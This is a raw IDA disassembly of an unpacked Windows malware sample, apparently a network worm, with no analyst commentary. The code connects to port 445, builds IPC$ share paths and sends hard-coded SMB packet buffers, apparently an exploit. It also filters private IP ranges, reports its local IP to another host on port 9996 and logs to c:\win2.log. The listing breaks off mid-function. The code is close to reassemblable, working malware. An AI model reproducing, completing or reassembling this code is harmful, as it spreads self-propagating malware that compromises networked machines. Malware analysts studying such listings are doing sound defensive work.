;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E6A9383B75BC38FB83230A525348C550

; File Name   :	u:\work\e6a9383b75bc38fb83230a525348c550_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40127D+7Cp
					; sub_401EF0:loc_401F35p ...
		mov	eax, dword_406F30
		imul	eax, 343FDh
		add	eax, 279EC3h
		mov	dword_406F30, eax
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40101E	proc near		; CODE XREF: sub_402029+1Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_406F30, eax
		retn
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401028	proc near		; CODE XREF: sub_402029+24p

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	dword_405114	; WSAStartup
		add	esp, 190h
		retn
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401045	proc near		; CODE XREF: sub_4010D2+4Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_40510C	; inet_addr
		movsx	ecx, al
		mov	[ebp+arg_0], eax
		movsx	edx, byte ptr [ebp+arg_0+2]
		movsx	esi, byte ptr [ebp+arg_0+3]
		movsx	edi, ah
		test	ecx, ecx
		mov	eax, 100h
		jge	short loc_40106F
		add	ecx, eax


loc_40106F:				; CODE XREF: sub_401045+26j
		test	edi, edi
		jge	short loc_401075
		add	edi, eax


loc_401075:				; CODE XREF: sub_401045+2Cj
		test	edx, edx
		jge	short loc_40107B
		add	edx, eax


loc_40107B:				; CODE XREF: sub_401045+32j
		test	esi, esi
		jge	short loc_401081
		add	esi, eax


loc_401081:				; CODE XREF: sub_401045+38j
		push	1
		cmp	ecx, 7Fh
		pop	eax
		jnz	short loc_401095
		test	edi, edi
		jnz	short loc_4010CE
		test	edx, edx
		jnz	short loc_4010CE
		cmp	esi, eax
		jz	short loc_4010CC


loc_401095:				; CODE XREF: sub_401045+42j
		cmp	ecx, 0Ah
		jz	short loc_4010CC
		cmp	ecx, 0ACh
		jnz	short loc_4010AC
		cmp	edi, 0Fh
		jle	short loc_4010CE
		cmp	edi, 20h
		jl	short loc_4010CC


loc_4010AC:				; CODE XREF: sub_401045+5Bj
		cmp	ecx, 0C0h
		jnz	short loc_4010BC
		cmp	edi, 0A8h
		jz	short loc_4010CC


loc_4010BC:				; CODE XREF: sub_401045+6Dj
		cmp	ecx, 0A9h
		jnz	short loc_4010CE
		cmp	edi, 0FEh
		jnz	short loc_4010CE


loc_4010CC:				; CODE XREF: sub_401045+4Ej
					; sub_401045+53j ...
		xor	al, al


loc_4010CE:				; CODE XREF: sub_401045+46j
					; sub_401045+4Aj ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_401045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010D2	proc near		; CODE XREF: sub_40127D+9Cp
					; sub_401EF0+1Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	dword_405104	; gethostname
		test	eax, eax
		jnz	short loc_401136
		lea	eax, [ebp+var_100]
		push	eax
		call	dword_405110	; gethostbyname
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_401136
		mov	eax, [edi+0Ch]
		cmp	[eax], esi
		jz	short loc_401136


loc_401110:				; CODE XREF: sub_4010D2+60j
		mov	eax, [esi+eax]
		push	dword ptr [eax]
		call	dword_405108	; inet_ntoa
		mov	ebx, eax
		push	ebx
		call	sub_401045
		test	al, al
		pop	ecx
		jnz	short loc_40113D
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	dword ptr [esi+eax], 0
		jnz	short loc_401110
		jmp	short loc_401139
; ---------------------------------------------------------------------------


loc_401136:				; CODE XREF: sub_4010D2+20j
					; sub_4010D2+35j ...
		mov	ebx, [ebp+arg_0]


loc_401139:				; CODE XREF: sub_4010D2+62j
		test	ebx, ebx
		jz	short loc_401140


loc_40113D:				; CODE XREF: sub_4010D2+54j
		push	ebx
		jmp	short loc_401145
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: sub_4010D2+69j
		push	offset a127_0_0_1 ; "127.0.0.1"


loc_401145:				; CODE XREF: sub_4010D2+6Cj
		push	[ebp+arg_0]
		call	dword_405018	; lstrcpyA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401153	proc near		; CODE XREF: sub_401EF0+E2p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	1BDh
		call	dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		pop	ebx
		push	ebx
		push	2
		call	dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4011B4
		xor	al, al
		jmp	short loc_4011D1
; ---------------------------------------------------------------------------


loc_4011B4:				; CODE XREF: sub_401153+5Bj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4011C8
		xor	bl, bl


loc_4011C8:				; CODE XREF: sub_401153+71j
		push	esi
		call	dword_40511C	; closesocket
		mov	al, bl


loc_4011D1:				; CODE XREF: sub_401153+5Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_401153	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011D5	proc near		; CODE XREF: sub_401153+30p
					; sub_40127D+34p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	dword_40510C	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4011F2
		test	esi, esi
		jnz	short loc_401204
		cmp	byte ptr [edi],	30h
		jz	short loc_40120B


loc_4011F2:				; CODE XREF: sub_4011D5+12j
		push	edi
		call	dword_405110	; gethostbyname
		test	eax, eax
		jz	short loc_401204
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]


loc_401204:				; CODE XREF: sub_4011D5+16j
					; sub_4011D5+26j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40120B
		xor	esi, esi


loc_40120B:				; CODE XREF: sub_4011D5+1Bj
					; sub_4011D5+32j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4011D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401210	proc near		; CODE XREF: sub_40127D+F9p

var_14		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		inc	dword_406F34
		push	edi
		push	dword_406F34
		lea	eax, [ebp+var_14]
		push	offset aI	; "%i"
		push	eax
		call	dword_4050E0	; wsprintfA
		add	esp, 0Ch
		push	0
		push	offset aCWin2_log ; "c:\\win2.log"
		call	dword_405024	; _lcreat
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40127A
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_402210
		mov	esi, dword_405020
		pop	ecx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	esi	; _lwrite
		push	[ebp+arg_0]
		call	sub_402210
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	esi	; _lwrite
		push	edi
		call	dword_40501C	; _lclose
		pop	esi


loc_40127A:				; CODE XREF: sub_401210+37j
		pop	edi
		leave
		retn
sub_401210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40127D	proc near		; CODE XREF: sub_401A84+7Bp

var_348		= dword	ptr -348h
var_33C		= byte ptr -33Ch
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	270Ch
		call	dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		push	2
		call	dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4012E2
		xor	al, al
		jmp	loc_401394
; ---------------------------------------------------------------------------


loc_4012E2:				; CODE XREF: sub_40127D+5Cj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40138B
		push	esi
		call	sub_401000
		mov	esi, eax
		lea	eax, [ebp+var_110]
		push	offset dword_406F38
		push	eax
		call	dword_405018	; lstrcpyA
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4010D2
		push	esi
		lea	eax, [ebp+var_110]
		push	esi
		push	eax
		push	off_406030
		lea	eax, [ebp+var_33C]
		push	eax
		call	dword_4050E0	; wsprintfA
		lea	eax, [ebp+var_33C]
		xor	esi, esi
		push	eax
		call	sub_402210
		add	esp, 1Ch
		test	eax, eax
		jbe	short loc_401373


loc_40134F:				; CODE XREF: sub_40127D+F4j
		push	ebx
		lea	eax, [ebp+esi+var_33C]
		push	1
		push	eax
		push	edi
		call	dword_4050F0	; send
		lea	eax, [ebp+var_33C]
		inc	esi
		push	eax
		call	sub_402210
		cmp	esi, eax
		pop	ecx
		jb	short loc_40134F


loc_401373:				; CODE XREF: sub_40127D+D0j
		push	[ebp+arg_0]
		call	sub_401210
		mov	[esp+348h+var_348], 3E8h
		call	dword_405028	; Sleep
		mov	bl, 1
		pop	esi


loc_40138B:				; CODE XREF: sub_40127D+75j
		push	edi
		call	dword_40511C	; closesocket
		mov	al, bl


loc_401394:				; CODE XREF: sub_40127D+60j
		pop	edi
		pop	ebx
		leave
		retn
sub_40127D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401398	proc near		; CODE XREF: sub_401A84+15p

var_744		= byte ptr -744h
var_714		= byte ptr -714h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 744h
		push	ebx
		push	esi
		push	edi
		push	offset dword_406F38
		push	[ebp+arg_4]
		call	dword_405018	; lstrcpyA
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	edi, edi
		xor	ecx, ecx
		lea	eax, [ebp+var_103]


loc_4013D1:				; CODE XREF: sub_401398+49j
		mov	dl, [ebp+ecx+var_3C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4013D1
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	[ebp+arg_0]
		call	dword_405110	; gethostbyname
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_401554
		push	edi
		push	1
		push	2


loc_401495:				; DATA XREF: .text:off_4065D8o
		call	dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_401554
		push	1BDh
		mov	[ebp+var_14], 2
		call	dword_4050F4	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebx+0Ch]
		push	8
		push	edi
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		mov	ebx, dword_4050F0
		push	edi
		push	89h
		push	offset dword_4061CC
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4050EC
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401558


loc_401554:				; CODE XREF: sub_401398+F2j
					; sub_401398+10Bj ...
		xor	eax, eax
		jmp	short loc_401599
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_401398+1BAj
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	46h
		lea	esi, [ebp+var_714]
		pop	edi


loc_401570:				; CODE XREF: sub_401398+1F3j
		movsx	eax, byte ptr [esi]
		push	eax
		push	[ebp+arg_4]
		push	offset aSC	; "%s%c"
		push	[ebp+arg_4]
		call	dword_4050E0	; wsprintfA
		add	esp, 10h
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_401570
		push	[ebp+arg_0]
		call	dword_40511C	; closesocket
		push	1
		pop	eax


loc_401599:				; CODE XREF: sub_401398+1BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40159E	proc near		; CODE XREF: sub_401A84+3Bp
					; sub_401A84+5Ep ...

var_89C4	= byte ptr -89C4h
var_895C	= byte ptr -895Ch
var_68EC	= byte ptr -68ECh
var_687C	= byte ptr -687Ch
var_5DB8	= byte ptr -5DB8h
var_4814	= byte ptr -4814h
var_4813	= byte ptr -4813h
var_3780	= byte ptr -3780h
var_2CBC	= byte ptr -2CBCh
var_2CBB	= byte ptr -2CBBh
var_2CB8	= byte ptr -2CB8h
var_24D4	= byte ptr -24D4h
var_24C4	= byte ptr -24C4h
var_21A0	= byte ptr -21A0h
var_219C	= byte ptr -219Ch
var_2190	= byte ptr -2190h
var_1F08	= byte ptr -1F08h
var_1E8C	= byte ptr -1E8Ch
var_16BC	= byte ptr -16BCh
var_1211	= byte ptr -1211h
var_F24		= byte ptr -0F24h
var_E84		= byte ptr -0E84h
var_778		= dword	ptr -778h
var_768		= byte ptr -768h
var_754		= byte ptr -754h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_C4		= byte ptr -0C4h
var_C1		= byte ptr -0C1h
var_97		= byte ptr -97h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 89C4h
		call	sub_4025D0
		mov	eax, dword_406A34
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, dword_406A38
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_113]


loc_4015D8:				; CODE XREF: sub_40159E+4Aj
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4015D8
		push	ebx
		push	esi
		push	edi
		push	60h
		lea	eax, [ebp+var_C4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_95]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_C1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_97]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	270Ch
		call	dword_4050F4	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4060E4
		call	sub_402290
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		cmp	ebx, 1
		jz	short loc_40171A
		cmp	ebx, 2
		jz	short loc_40171A
		push	7D0h
		lea	eax, [ebp+var_F24]
		push	90h
		push	eax
		call	sub_4021B0
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_E84]
		push	esi
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_768]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		imul	ebx, 3Ch
		mov	eax, dword_406810[ebx]
		mov	[ebp+var_778], eax
		jmp	loc_4017EE
; ---------------------------------------------------------------------------


loc_40171A:				; CODE XREF: sub_40159E+115j
					; sub_40159E+11Aj
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CB8]
		push	edi
		push	90h
		push	eax
		call	sub_4021B0
		imul	ebx, 3Ch
		push	4
		lea	eax, [ebp+var_24D4]
		lea	ebx, dword_406810[ebx]
		push	ebx
		push	eax
		call	sub_402290
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_24C4]
		push	esi
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_21A0]
		push	offset dword_406A2C
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_219C]
		push	ebx
		push	eax
		call	sub_402290
		add	esp, 40h
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_2190]
		push	esi
		push	eax
		call	sub_402290
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4813]


loc_4017A6:				; CODE XREF: sub_40159E+21Aj
		mov	dl, [ebp+ecx+var_2CB8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_4017A6
		and	[ebp+var_2CBC],	0
		and	[ebp+var_2CBB],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89C4]
		push	esi
		push	31h
		push	eax
		call	sub_4021B0
		push	esi
		lea	eax, [ebp+var_68EC]
		push	31h
		push	eax
		call	sub_4021B0
		add	esp, 18h


loc_4017EE:				; CODE XREF: sub_40159E+177j
		push	0
		push	1
		push	2
		call	dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_401A7D
		push	1BDh
		mov	[ebp+var_24], 2
		call	dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_22], ax
		call	sub_4011D5
		mov	[ebp+var_20], eax
		xor	ebx, ebx
		push	8
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		mov	esi, dword_4050F0
		push	ebx
		push	89h
		push	offset dword_4061CC
		push	edi
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	ebx
		mov	ebx, 640h
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	edi
		mov	edi, dword_4050EC
		call	edi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_406448
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_4064B4
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	[ebp+arg_4], 1
		jz	short loc_4019BB
		cmp	[ebp+arg_4], 2
		jz	short loc_4019BB
		push	7Ch
		lea	eax, [ebp+var_1F08]
		push	offset dword_406558
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_F24]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1E8C]
		push	eax
		call	sub_402290
		push	90h
		lea	eax, [ebp+var_16BC]
		push	offset off_4065D8
		push	eax
		call	sub_402290
		add	esp, 24h
		and	[ebp+var_1211],	0
		lea	eax, [ebp+var_1F08]
		push	0
		push	0CF8h
		jmp	loc_401A5E
; ---------------------------------------------------------------------------


loc_4019BB:				; CODE XREF: sub_40159E+3B8j
					; sub_40159E+3BEj
		push	68h
		lea	eax, [ebp+var_89C4]
		push	offset dword_40666C
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4814]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_895C]
		push	eax
		call	sub_402290
		push	70h
		lea	eax, [ebp+var_68EC]
		push	offset dword_4066D8
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3780]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_687C]
		push	eax
		call	sub_402290
		push	84h
		lea	eax, [ebp+var_5DB8]
		push	offset dword_40674C
		push	eax
		call	sub_402290
		add	esp, 3Ch
		lea	eax, [ebp+var_89C4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68EC]


loc_401A5E:				; CODE XREF: sub_40159E+418j
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	3E8h
		call	dword_405028	; Sleep
		push	[ebp+var_4]
		call	dword_40511C	; closesocket


loc_401A7D:				; CODE XREF: sub_40159E+264j
					; sub_40159E+2ABj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40159E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A84	proc near		; CODE XREF: sub_402029+3Ap

var_84		= byte ptr -84h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	eax
		push	esi
		call	sub_401398
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401B05
		lea	eax, [ebp+var_84]
		push	offset dword_406A40
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AC8
		push	0
		push	esi
		call	sub_40159E
		push	0
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AC8:				; CODE XREF: sub_401A84+36j
		lea	eax, [ebp+var_84]
		push	offset dword_406A3C
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AEB
		push	1
		push	esi
		call	sub_40159E
		push	1
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AEB:				; CODE XREF: sub_401A84+59j
		push	2
		push	esi
		call	sub_40159E
		push	2


loc_401AF5:				; CODE XREF: sub_401A84+42j
					; sub_401A84+65j
		push	esi
		call	sub_40159E
		add	esp, 10h
		push	esi
		call	sub_40127D
		pop	ecx


loc_401B05:				; CODE XREF: sub_401A84+1Fj
		pop	esi
		leave
		retn
sub_401A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B08	proc near		; DATA XREF: sub_401E65+74o

var_8E4		= byte ptr -8E4h
var_4E4		= byte ptr -4E4h
var_4E0		= byte ptr -4E0h
var_E4		= byte ptr -0E4h
var_60		= byte ptr -60h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
